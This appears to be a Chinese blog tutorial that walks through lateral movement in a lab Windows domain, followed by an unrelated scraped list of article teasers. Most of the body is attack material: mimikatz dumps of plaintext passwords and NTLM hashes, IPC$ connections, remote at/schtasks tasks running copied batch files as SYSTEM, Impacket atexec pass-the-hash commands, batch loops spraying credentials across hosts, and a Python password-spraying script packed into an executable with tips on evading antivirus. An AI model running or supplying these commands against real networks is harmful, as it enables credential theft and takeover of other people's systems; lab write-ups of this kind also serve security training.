   \_ aes256_hmac       -> null             
   \_ aes128_hmac       -> null             
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000000019538C8 (16) -> null

执行

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="

信息整理

当前机器名称——webserver.god.org

当前机器ip——192.168.3.31

当前机器用户账户密码

本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :

god\webadmin:admin!@#45

域——god.org

DCip——192.168.3.21

Username : administrator

Domain : god.org
Password : Admin12345

域内其他用户ip

192.168.3.25

192.168.3.29

192.168.3.30

192.168.3.32

案例 1-横向渗透明文传递 at&schtasks

在拿下一台内网主机后，通过本地信息搜集收集用户凭证等信息后，如何横向渗透拿下更多的主机？
这里仅介绍 at&schtasks 命令的使用，在已知目标系统的用户明文密码的基础上，直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码（明文，hash）->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

建立 IPC 链接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本
删除 IPC 链接

     net use \\server\ipc$"password" /user:username # 工作组
     net use \\server\ipc$"password" /user:domain\username #域内
     dir \\xx.xx.xx.xx\C$\ # 查看文件列表
     copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
     copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
     net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
     net view xx.xx.xx.xx # 查看对方共享

建立 IPC 常见的错误代码

（1）5：拒绝访问，可能是使用的用户不是管理员权限，需要先提升权限
（2）51：网络问题，Windows 无法找到网络路径
（3）53：找不到网络路径，可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
（4）67：找不到网络名，本地 Lanmanworkstation 服务未启动，目标删除 ipc$
（5）1219：提供的凭据和已存在的凭据集冲突，说明已建立 IPC$，需要先删除
（6）1326：账号密码错误
（7）1792：目标 NetLogon 服务未启动，连接域控常常会出现此情况
（8）2242：用户密码过期，目标有账号策略，强制定期更改密码

建立 IPC 失败的原因

（1）目标系统不是 NT 或以上的操作系统
（2）对方没有打开 IPC$共享
（3）对方未开启 139、445 端口，或者被防火墙屏蔽
（4）输出命令、账号密码有错误

[at] & [schtasks]

  #at < Windows2012
  net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 
  # 建立 ipc 连接：
  copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
  at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
  #schtasks >=Windows2012
  net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad
  ministrator # 建立 ipc 连接：
  copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
  schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 
  #创建 adduser 任务
  对应执行文件
  schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
  schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

已知信息

webserver的ip 192.168.3.31

webserver的账户密码

本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :

god\webadmin:admin!@#45

DC的ip为192.168.3.21

DC的账户密码

administrator

Admin12345

进一步信息收集

mimikatz # Using 'mimikatz.log' for logfile : OK

mimikatz # Using 'mimikatz.log' for logfile : OK

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : OWA2010CN-GOD$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:18
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : OWA2010CN-GOD$
	 * Domain   : GOD
	 * NTLM     : 4f6eeefae95e8371117af160395c7a7c
	 * SHA1     : d9e169e0b1843ee794ab416d4328fb8d37e9b2d0
	tspkg :	
	wdigest :	
	 * Username : OWA2010CN-GOD$
	 * Domain   : GOD
	 * Password : 25 99 55 b2 e1 7a 1b 85 bc bd 7c 2e d8 f8 9f f9 da 1b 65 93 3f 1a bd 97 f1 ee 85 ff 46 53 6a 1b 3f 19 59 8e c9 7c c6 73 27 d6 7b 47 82 b3 90 71 d1 27 1f d1 bf 6c c3 91 3e b6 73 54 e6 f4 f0 21 ac 5d fb e8 ee 54 9a 87 cc 47 0f e3 ee 6a aa c3 d0 63 ee bc 34 86 31 48 bc 2c 70 4e de d4 d5 46 44 79 2d 79 84 0d c9 92 06 ff 18 d0 62 a6 eb 74 f1 53 52 d6 dc 99 eb 25 bc a3 ae 43 3e 84 85 5b d3 3b cf e2 e8 a9 13 b0 33 87 35 c8 bc a5 5e 9e 67 5c f7 7d bb 1a a6 ac fe 15 d7 57 bc 61 2a 8b db 2e 2c 0d 2f ad 5f e3 e2 67 b3 49 b5 56 c5 ad 8c 9a 58 93 c6 41 46 7a dc 7b 56 bf 02 56 59 e1 51 6a da ff 61 d4 23 3c 3a 06 1b 35 5e 93 db 04 c5 6a 58 c5 30 1a c8 58 61 c8 5c b7 b1 3a a4 8c f8 25 b6 02 a4 0d eb f8 ec 28 4a 03 fd f3 0d 05 
	kerberos :	
	 * Username : owa2010cn-god$
	 * Domain   : GOD.ORG
	 * Password : 25 99 55 b2 e1 7a 1b 85 bc bd 7c 2e d8 f8 9f f9 da 1b 65 93 3f 1a bd 97 f1 ee 85 ff 46 53 6a 1b 3f 19 59 8e c9 7c c6 73 27 d6 7b 47 82 b3 90 71 d1 27 1f d1 bf 6c c3 91 3e b6 73 54 e6 f4 f0 21 ac 5d fb e8 ee 54 9a 87 cc 47 0f e3 ee 6a aa c3 d0 63 ee bc 34 86 31 48 bc 2c 70 4e de d4 d5 46 44 79 2d 79 84 0d c9 92 06 ff 18 d0 62 a6 eb 74 f1 53 52 d6 dc 99 eb 25 bc a3 ae 43 3e 84 85 5b d3 3b cf e2 e8 a9 13 b0 33 87 35 c8 bc a5 5e 9e 67 5c f7 7d bb 1a a6 ac fe 15 d7 57 bc 61 2a 8b db 2e 2c 0d 2f ad 5f e3 e2 67 b3 49 b5 56 c5 ad 8c 9a 58 93 c6 41 46 7a dc 7b 56 bf 02 56 59 e1 51 6a da ff 61 d4 23 3c 3a 06 1b 35 5e 93 db 04 c5 6a 58 c5 30 1a c8 58 61 c8 5c b7 b1 3a a4 8c f8 25 b6 02 a4 0d eb f8 ec 28 4a 03 fd f3 0d 05 
	ssp :	
	credman :	

Authentication Id : 0 ; 1555993 (00000000:0017be19)
Session           : Interactive from 1
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA2010CN-GOD
Logon Time        : 2022/5/8 21:17:11
SID               : S-1-5-21-1218902331-2157346161-1782232778-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : ac804745ee68ebea48116059303a4365
	 * NTLM     : ccef208c6485269c20db2cad21734fe7
	 * SHA1     : 58d1a25c09f4ee98209941b2b333fbe477d472a9
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : Admin12345
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : Admin12345
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : Admin12345
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:18
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 48466 (00000000:0000bd52)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:15
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : OWA2010CN-GOD$
	 * Domain   : GOD
	 * NTLM     : 4f6eeefae95e8371117af160395c7a7c
	 * SHA1     : d9e169e0b1843ee794ab416d4328fb8d37e9b2d0
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:53
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : OWA2010CN-GOD$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:15
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : OWA2010CN-GOD$
	 * Domain   : GOD
	 * Password : 25 99 55 b2 e1 7a 1b 85 bc bd 7c 2e d8 f8 9f f9 da 1b 65 93 3f 1a bd 97 f1 ee 85 ff 46 53 6a 1b 3f 19 59 8e c9 7c c6 73 27 d6 7b 47 82 b3 90 71 d1 27 1f d1 bf 6c c3 91 3e b6 73 54 e6 f4 f0 21 ac 5d fb e8 ee 54 9a 87 cc 47 0f e3 ee 6a aa c3 d0 63 ee bc 34 86 31 48 bc 2c 70 4e de d4 d5 46 44 79 2d 79 84 0d c9 92 06 ff 18 d0 62 a6 eb 74 f1 53 52 d6 dc 99 eb 25 bc a3 ae 43 3e 84 85 5b d3 3b cf e2 e8 a9 13 b0 33 87 35 c8 bc a5 5e 9e 67 5c f7 7d bb 1a a6 ac fe 15 d7 57 bc 61 2a 8b db 2e 2c 0d 2f ad 5f e3 e2 67 b3 49 b5 56 c5 ad 8c 9a 58 93 c6 41 46 7a dc 7b 56 bf 02 56 59 e1 51 6a da ff 61 d4 23 3c 3a 06 1b 35 5e 93 db 04 c5 6a 58 c5 30 1a c8 58 61 c8 5c b7 b1 3a a4 8c f8 25 b6 02 a4 0d eb f8 ec 28 4a 03 fd f3 0d 05 
	kerberos :	
	 * Username : owa2010cn-god$
	 * Domain   : GOD.ORG
	 * Password : 25 99 55 b2 e1 7a 1b 85 bc bd 7c 2e d8 f8 9f f9 da 1b 65 93 3f 1a bd 97 f1 ee 85 ff 46 53 6a 1b 3f 19 59 8e c9 7c c6 73 27 d6 7b 47 82 b3 90 71 d1 27 1f d1 bf 6c c3 91 3e b6 73 54 e6 f4 f0 21 ac 5d fb e8 ee 54 9a 87 cc 47 0f e3 ee 6a aa c3 d0 63 ee bc 34 86 31 48 bc 2c 70 4e de d4 d5 46 44 79 2d 79 84 0d c9 92 06 ff 18 d0 62 a6 eb 74 f1 53 52 d6 dc 99 eb 25 bc a3 ae 43 3e 84 85 5b d3 3b cf e2 e8 a9 13 b0 33 87 35 c8 bc a5 5e 9e 67 5c f7 7d bb 1a a6 ac fe 15 d7 57 bc 61 2a 8b db 2e 2c 0d 2f ad 5f e3 e2 67 b3 49 b5 56 c5 ad 8c 9a 58 93 c6 41 46 7a dc 7b 56 bf 02 56 59 e1 51 6a da ff 61 d4 23 3c 3a 06 1b 35 5e 93 db 04 c5 6a 58 c5 30 1a c8 58 61 c8 5c b7 b1 3a a4 8c f8 25 b6 02 a4 0d eb f8 ec 28 4a 03 fd f3 0d 05 
	ssp :	
	credman :

密码字典

admin！@#45
Admin12345

横向渗透

at

由于域控DC是Win2008R2（< Windows2012），可以使用at命令。

  #at < Windows2012
  net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 
  # 建立 ipc 连接：
  copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
  at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

schtasks

如果目标计算机>=Windows2012，需要使用schtasks命令。

当使用域用户登录时，copy是失败的，原因是权限不够，应该使用本地用户登录。

使用本地用户登录，执行如下命令

  net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad
  ministrator # 建立 ipc 连接：
  copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
  schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 
  #创建 adduser 任务
  对应执行文件
  schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
  schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

 net user liandy  /del 不需要了的话可以删除

横向渗透明文传递 at&schtasks

案例 2-横向渗透明文 HASH 传递 atexec-impacket

atexec

优点：一句话命令，连接、提权全部搞定。
缺点：第三方工具，易被查杀，需要做免杀。
atexec是Impacket网络协议工具包中的一个工具。
Impacket工具包介绍：https://www.freebuf.com/sectool/175208.html

  atexec.exe ./administrator:[email protected] "whoami"
  atexec.exe god/administrator:[email protected] "whoami"
  atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"

impacket工具包下载，可下载exe版本

地址：https://gitee.com/RichChigga/impacket-examples-windows

执行命令，直接提权

atexec.exe god/administrator:[email protected] "ver"
atexec.exe god/administrator:[email protected] "whoami"

横向渗透明文 HASH 传递 impacket

案例 3-横向渗透明文 HASH 传递批量利用-综合

已知存活主机

192.168.3.21   #DC
192.168.3.25
192.168.3.29
192.168.3.30
192.168.3.31   #webserver
192.168.3.32   #sqlserver

已知密码

admin！@#45
Admin12345

批量检测

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator 
#批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami 
#批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami 
#批量检测HASH对应IP回显版

批量检测IP对应明文连接

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator

批量检测IP对应明文回显版

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami

发现网段内另两台主机192.168.3.29（win8.1x64 Jack-pc）、192.168.3.32（sqlserver）与webserver用了相同的账户密码，并且可以直接提权到system权限。

可以进一步进行信息收集，略过！

批量检测明文对应IP回显版

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami

其实一开始就收集到了dc的密码，这里仅仅演示常规操作

批量检测HASH对应IP回显版

收集hase进行连接

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami 
#批量检测HASH对应IP回显版

横向渗透明文 HASH 传递批量利用-综合

案例 4-横向渗透明文 HASH 传递批量利用-升级版

案例3中都是批处理命令，只能遍历一个变量（不知道可不可遍历2个变量，反正我不会写），如果想要遍历多个变量，比如IP、用户名、密码等，可以写python脚本，免杀，使用Pyinstaller打包成exe文件，上传到目标机器运行。

脚本（最好写成多线程的）

import os, time

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}

users = {
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'adm',
    'webadmin'
}
passs = {
    'admin',
    'admin!@#45',
    'Admin12345'
}

for ip in ips:
    for user in users:
        for mima in passs:
            exec = "net use \\\\" + ip + '\ipc$ ' + mima + ' /user:god\\' + user
            print('--->' + exec + '<---')
            os.system(exec)
            time.sleep(1)

编译

pip install pyinstaller
pyinstaller -F fuck_neiwang_001.py 生成可执行EXE

缺失文件，执行失败（websverver）

换成sqlserver

后面，拷贝执行文件到目标主机，执行at或者schtasks命令创建任务即可

你可能感兴趣的:(安全,web安全)

微服务下功能权限与数据权限的设计与实现 nbsaas-boot 微服务 java 架构
在微服务架构下，系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加，如何保证不同用户和服务之间的访问权限准确、细粒度地控制，成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限：指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作，比如查看订单、创建订单、修改用户资料等。数据权限：
c++ 的iostream 和 c++的stdio的区别和联系黄卷青灯77 c++算法开发语言 iostream stdio
在C++中，iostream和C语言的stdio.h都是用于处理输入输出的库，但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系：区别1.编程风格iostream（C++风格）：C++标准库中的输入输出流类库，支持面向对象的输入输出操作。典型用法是cin（输入）和cout（输出），使用>操作符来处理数据。更加类型安全，支持用户自定义类型的输入输出。#includeintmain(){in
Long类型前后端数据不一致 igotyback 前端
响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题，尤其是当后端使用Java的Long类型（64位）与前端JavaScript的Number类型（最大安全整数为2^53-1，即16位）进行数据交互时，很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问
特殊的拜年飘雪的天堂
文/雪儿大年初一，家家户户没有了轰响的鞭炮声，大街上没有了人流涌动的喧闹，几乎看不到人影，变得冷冷清清。天刚亮不大会儿，村里的大喇叭响了起来：由于当前正值疾病高发期，流感流行的高峰期。同时，新型冠状病毒感染的肺炎进入第二波流行的上升期。为了自己和他人的健康安全着想，请大家尽量不要串门拜年，不要在街里走动。可以通过手机微信，视频，电话，信息拜年……今年的春节真是特别。禁止燃放鞭炮，烟花爆竹，禁止出村
【华为OD技术面试真题 - 技术面】-测试八股文真题题库（1）算法大师华为od 面试 python 算法前端
华为OD面试真题精选专栏：华为OD面试真题精选目录:2024华为OD面试手撕代码真题目录以及八股文真题目录文章目录华为OD面试真题精选1.黑盒测试和白盒测试的区别2.假设我们公司现在开发一个类似于微信的软件1.0版本，现在要你测试这个功能：打开聊天窗口，输入文本，限制字数在200字以内。问你怎么提取测试点。功能测试性能测试安全性测试可用性测试跨平台兼容性测试网络环境测试3.接口测试的工具你了解哪些
直返的东西正品吗?直返APP安全吗?直返是正规平台吗? 氧惠购物达人
亲们，你们是不是经常在直返APP上买东西呀？但是，你们有没有想过，里面的东西到底是不是正品呢？这个APP安全吗？它是不是一个正规的平台呀？别着急，今天我就来给大家揭秘一下！氧惠APP（带货领导者）——是与以往完全不同的抖客+淘客app！2023全新模式，我的直推也会放到你下面。主打：带货高补贴，深受各位带货团队长喜爱（每天出单带货几十万单）。注册即可享受高补贴+0撸+捡漏等带货新体验。送万元推广大
EIO国际确定性的交易（3/10）资管，资金委托安全吗？古城鹏哥
大家可能都知道资金托管，账户是自己开，钱在自己的账户上，密码是由自己掌控，别人提不走你账户的资金，每天可以看下到自己的账户，也可以看到交易流水。现金只能提到自己的银行卡中。账户由技术人员或操作人员，或者是机构团队帮你操作账户，产生盈利和收入，以获得的利润来分配盈利，技术强硬和做的时间久了过硬技术团队，会保证你的资金本金，不会让你的本金亏损的按照一定比例分配收入。所以在这个过程当中一定要看清楚技术的
TDengine 签约前晨汽车，解锁智能出行的无限潜力涛思数据（TDengine） tdengine 汽车大数据
在全球汽车产业转型升级的背景下，智能网联和新能源技术正迅速成为商用车行业的重要发展方向。随着市场对环保和智能化需求的日益增强，企业必须在技术创新和数据管理上不断突破，以满足客户对高效、安全和智能出行的期待。在这一背景下，前晨汽车凭借其在新能源智能商用车领域的前瞻性布局和技术实力，成为行业中的佼佼者。前晨汽车采用整车数据采集和全车数据打通策略，能够实时将数据推送至APP端客户。然而，这导致整体写入和
“这才好”麻辣香锅能够增加人身体的免疫能力小补文知
我就来介绍一种香锅，那就是“这才好”麻辣香锅，它产出于著名的蜀地文化，具有悠久的历史土家风味，麻辣鲜香，健康安全。采用传统秘制麻辣香锅油辣子，还有贴心加料“孜然包”满足人们的不同口味需求，香锅底料辣椒，微辣且香，含有丰富微量元素和维生素，具有辣而不躁，味道纯正，醇厚温和。花椒采用历史悠久，被列为宫廷供品的“贡椒”的汉源花椒。我们还挑选了“川菜之魂”郫县豆瓣的鼻祖品牌豆瓣，保留最原始的郫县豆瓣味道，
Java面试题精选：消息队列(二) 芒果不是芒 Java面试题精选 java kafka
一、Kafka的特性1.消息持久化：消息存储在磁盘，所以消息不会丢失2.高吞吐量：可以轻松实现单机百万级别的并发3.扩展性：扩展性强，还是动态扩展4.多客户端支持：支持多种语言（Java、C、C++、GO、）5.KafkaStreams（一个天生的流处理）:在双十一或者销售大屏就会用到这种流处理。使用KafkaStreams可以快速的把销售额统计出来6.安全机制：Kafka进行生产或者消费的时候会
Kafka是如何保证数据的安全性、可靠性和分区的喜欢猪猪 kafka 分布式
Kafka作为一个高性能、可扩展的分布式流处理平台，通过多种机制来确保数据的安全性、可靠性和分区的有效管理。以下是关于Kafka如何保证数据安全性、可靠性和分区的详细解析：一、数据安全性SSL/TLS加密：Kafka支持SSL/TLS协议，通过配置SSL证书和密钥来加密数据传输，确保数据在传输过程中不会被窃取或篡改。这一机制有效防止了中间人攻击，保护了数据的安全性。SASL认证：Kafka支持多种
2022-10-10 幸福芳芳
10.10日觉察日记1.事件：开晨会员工来不齐，路远的请假，离得近的也请假，一律不批！2.感受：生气，气愤（情绪如何转化或使用）3.想法：1.今年已经很少开晨会了，非必要不会通知开会的，临近点了再打电话请假，又不是特别忙的季节，借口都会找～～2.不来的按公司标准执行负激励，待岗处理！我为你们负责，你们安全重要会议都不参加，自己都不为自己负责！以后有事也别找我！尤其是经销商老板，自己都不清楚自己用工
MongoDB知识概括 GeorgeLin98 持久层 mongodb
MongoDB知识概括MongoDB相关概念单机部署基本常用命令索引-IndexSpirngDataMongoDB集成副本集分片集群安全认证MongoDB相关概念业务应用场景：传统的关系型数据库（如MySQL），在数据操作的“三高”需求以及应对Web2.0的网站需求面前，显得力不从心。解释：“三高”需求：①Highperformance-对数据库高并发读写的需求。②HugeStorage-对海量数
计算机木马详细编写思路小熊同学哦 php 开发语言木马木马思路
导语：计算机木马（ComputerTrojan）是一种恶意软件，通过欺骗用户从而获取系统控制权限，给黑客打开系统后门的一种手段。虽然木马的存在给用户和系统带来严重的安全风险，但是了解它的工作原理与编写思路，对于我们提高防范意识、构建更健壮的网络安全体系具有重要意义。本篇博客将深入剖析计算机木马的详细编写思路，以及如何复杂化挑战，以期提高读者对计算机木马的认识和对抗能力。计算机木马的基本原理计算机木
基于STM32的汽车仪表显示系统：集成CAN、UART与I2C总线设计流程极客小张 stm32 汽车嵌入式硬件物联网单片机 c语言
一、项目概述项目目标与用途本项目旨在设计和实现一个基于STM32微控制器的汽车仪表显示系统。该系统能够实时显示汽车的速度、转速、油量等关键信息，并通过CAN总线与其他汽车控制单元进行通信。这种仪表显示系统不仅提高了驾驶的安全性和便捷性，还能为汽车提供更智能的用户体验。技术栈关键词微控制器：STM32显示技术：TFTLCD/OLED传感器：速度传感器、温度传感器、油量传感器通信协议：CAN总线、UA
3286、穿越网格图的安全路径 Lenyiin 题解 c++算法 leetcode
3286、[中等]穿越网格图的安全路径1、题目描述给你一个mxn的二进制矩形grid和一个整数health表示你的健康值。你开始于矩形的左上角(0,0)，你的目标是矩形的右下角(m-1,n-1)。你可以在矩形中往上下左右相邻格子移动，但前提是你的健康值始终是正数。对于格子(i,j)，如果grid[i][j]=1，那么这个格子视为不安全的，会使你的健康值减少1。如果你可以到达最终的格子，请你返回tr
不安全依恋徐猛_Merlin
11.2不安全依恋在关系中自由的心里是不受她人情绪所影响和去发展新的关系两种。而不安全的依恋是对自己的关系存在恐惧的因素，也就是对周边的环境很陌生，而当在这个环境中存在一个熟悉的声音就是一种安全的依恋。这种依恋可能是一个熟悉的表情或者熟悉的面庞等等。
【Python搞定车载自动化测试】——Python实现车载以太网DoIP刷写（含Python源码）疯狂的机器人 Python搞定车载自动化 python DoIP UDS ISO 14229 1SO 13400 Bootloader tcp/ip
系列文章目录【Python搞定车载自动化测试】系列文章目录汇总文章目录系列文章目录前言一、环境搭建1.软件环境2.硬件环境二、目录结构三、源码展示1.DoIP诊断基础函数方法2.DoIP诊断业务函数方法3.27服务安全解锁4.DoIP自动化刷写四、测试日志1.测试日志五、完整源码链接前言随着智能电动汽车行业的发展，汽车=智能终端+四个轮子，各家车企都推出了各自的OTA升级方案，本章节主要介绍如何使
4 大低成本娱乐方式: 小说, 音乐, 视频, 电子游戏穷人小水滴娱乐音视频低成本小说游戏
穷人如何获得快乐?小说,音乐,视频,游戏,本文简单盘点一下这4大低成本(安全)娱乐方式.这里是穷人小水滴,专注于穷人友好型低成本技术.(本文为58号作品.)目录1娱乐方式1.1小说(网络小说)1.2音乐1.3视频(b站)1.4游戏(电子游戏/计算机软件)2低成本:一只手机即可3总结与展望1娱乐方式这几种,也可以说是艺术的具体形式.更专业的说,(娱乐)是劳动力再生产的重要组成部分.使人放松,获得快乐
今天是总结薛帅
今天来个最后一天的总结。为什么要学习写作技巧呢？就如同建房子，如果想要住的安全、舒服，我们要先打地基，建房子的框架，这样才能随意的装修。那么我们要怎么建好才能建好写作的地基呢？1走直路，少弯路01利他：能够给别人带来价值。02吸引：吸住读者的眼球。03打动：打动人心，引起共鸣。04说服：用数据说话。05刻意：通过有意识的训练。06修改：好的文章至上修改10遍。07模仿：10万+的文章必有成功的道理
拼多多返现要输入身份证号码安全吗?拼单返现是什么? 优惠券高省
当我们谈到拼多多返现金活动时，很多朋友会担心提供身份证信息的安全性以及返现金额的真实性。今天，我就来为大家揭开这些疑虑的面纱，为大家提供一个清晰的答案。【高省】APP（高佣金领导者）是一个自用省钱佣金高，分享推广赚钱多的平台，百度有几百万篇报道，运行三年，稳定可靠。高省APP，是2021年推出的平台，0投资，0风险、高省APP佣金更高，模式更好，终端用户不流失。高省是公认的返利最高的软件。古楼导师
《驴友的朝圣》065 户外运动论坛，论户外运动之现在与未来经典老表
十几年来，我国户外运动蓬勃发展，已经形成全民参与热情。各类户外运动项目和形式层出不穷。各种户外运动装备产品花样百出。看着形势一派大好。但是，在这大好形势之下，仍存在着诸多的发展瓶颈及安全与管理问题，需要提请重视。为此，江城登山协会在本地召开了“户外运动论坛”，邀请市内户外运动俱乐部及体育系统领导一起研讨本地区户外运动发展的可持续性。2019年6月1日，论坛在世贸万锦大酒店的支持下，在其三层会议大厅
华为云分布式缓存服务DCS 8月新特性发布华为云PaaS服务小智华为云分布式缓存
分布式缓存服务（DistributedCacheService，简称DCS）是华为云提供的一款兼容Redis的高速内存数据处理引擎，为您提供即开即用、安全可靠、弹性扩容、便捷管理的在线分布式缓存能力，满足用户高并发及数据快速访问的业务诉求。此次为大家带来DCS8月的特性更新内容，一起来看看吧！
c++ 内存处理函数 heeheeai c++开发语言
在C语言的头文件中，memcpy和memmove函数都用于复制内存块，但它们在处理内存重叠方面存在关键区别：内存重叠:memcpy函数不保证在源内存和目标内存区域重叠时能够正确复制数据。如果内存区域重叠，memcpy的行为是未定义的，可能会导致数据损坏或程序崩溃。memmove函数能够安全地处理源内存和目标内存区域重叠的情况。它会确保在复制过程中不会覆盖尚未复制的数据，从而保证数据的完整性。效率:
每日OJ_牛客_马戏团（模拟最长上升子序列） GR鲸鱼 c++算法开发语言牛客数据结构
目录牛客_马戏团（模拟最长上升子序列）解析代码牛客_马戏团（模拟最长上升子序列）马戏团__牛客网搜狐员工小王最近利用假期在外地旅游，在某个小镇碰到一个马戏团表演，精彩的表演结束后发现团长正和大伙在帐篷前激烈讨论，小王打听了下了解到，马戏团正打算出一个新节目“最高罗汉塔”，即马戏团员叠罗汉表演。考虑到安全因素，要求叠罗汉过程中，站在某个人肩上的人应该既比自己矮又比自己瘦，或相等。团长想要本次节目中的
信息系统安全相关概念(上) YuanDaima2048 课程笔记基础概念安全信息安全笔记
文章总览：YuanDaiMa2048博客文章总览下篇:信息系统安全相关概念(下)信息系统安全相关概念[上]信息系统概述信息系统信息系统架构信息系统发展趋势：信息系统日趋大型化、复杂化信息系统面临的安全威胁信息系统安全架构设计--以云计算为例信息系统安全需求及安全策略自主访问控制策略DAC强制访问控制策略MAC信息系统概述信息系统用于收集、存储和处理数据以及传递信息、知识和数字产品的一组集成组件。几
【加密算法基础——RSA 加密】 XWWW668899 网络服务器笔记 python
RSA加密RSA（Rivest-Shamir-Adleman）加密是非对称加密，一种广泛使用的公钥加密算法，主要用于安全数据传输。公钥用于加密，私钥用于解密。RSA加密算法的名称来源于其三位发明者的姓氏：R:RonRivestS:AdiShamirA:LeonardAdleman这三位计算机科学家在1977年共同提出了这一算法，并发表了相关论文。他们的工作为公钥加密的基础奠定了重要基础，使得安全通
信息系统安全相关概念(下) YuanDaima2048 基础概念课程笔记安全
文章总览：YuanDaiMa2048博客文章总览上篇指路：信息系统安全相关概念(上)信息系统安全相关概念[下]信息系统风险评估安全风险评估信息系统等级保护网络安全法等级保护等级保护工作流程环境安全信息系统风险评估安全风险评估对信息系统整体安全态势的感知和对重大安全事件的预警，实现“事前能预防，事中能控制，事后能处理”。安全风险组成的四要素：信息系统资产（Asset）信息系统脆弱性（Vulnerab
APQP，ASPICE，敏捷，功能安全，预期安全，这些汽车行业的一堆标准二大宝贝安全架构
